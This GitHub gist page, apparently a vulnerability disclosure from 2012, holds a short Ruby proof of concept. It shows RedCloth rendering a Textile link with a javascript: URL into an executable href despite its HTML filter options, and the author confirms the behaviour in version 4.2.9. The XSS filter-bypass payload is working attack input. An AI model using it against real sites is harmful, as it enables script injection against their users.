Skip to content

Instantly share code, notes, and snippets.

@co3k

co3k/gist:75b3cb416c342aa1414c Secret

Created February 29, 2012 10:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save co3k/75b3cb416c342aa1414c to your computer and use it in GitHub Desktop.
Save co3k/75b3cb416c342aa1414c to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.rb
require 'redcloth'
print RedCloth.new('["clickme":javascript:alert%28/XSS/.source%29]', [:filter_html, :filter_styles, :filter_classes, :filter_ids]).to_html
# Result:
# <p><a href="javascript:alert%28/XSS/.source%29">clickme</a></p>
@co3k
Copy link
Author

co3k commented Feb 29, 2012

I've confirmed this with RedCloth-4.2.9 (installed by RubyGems).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment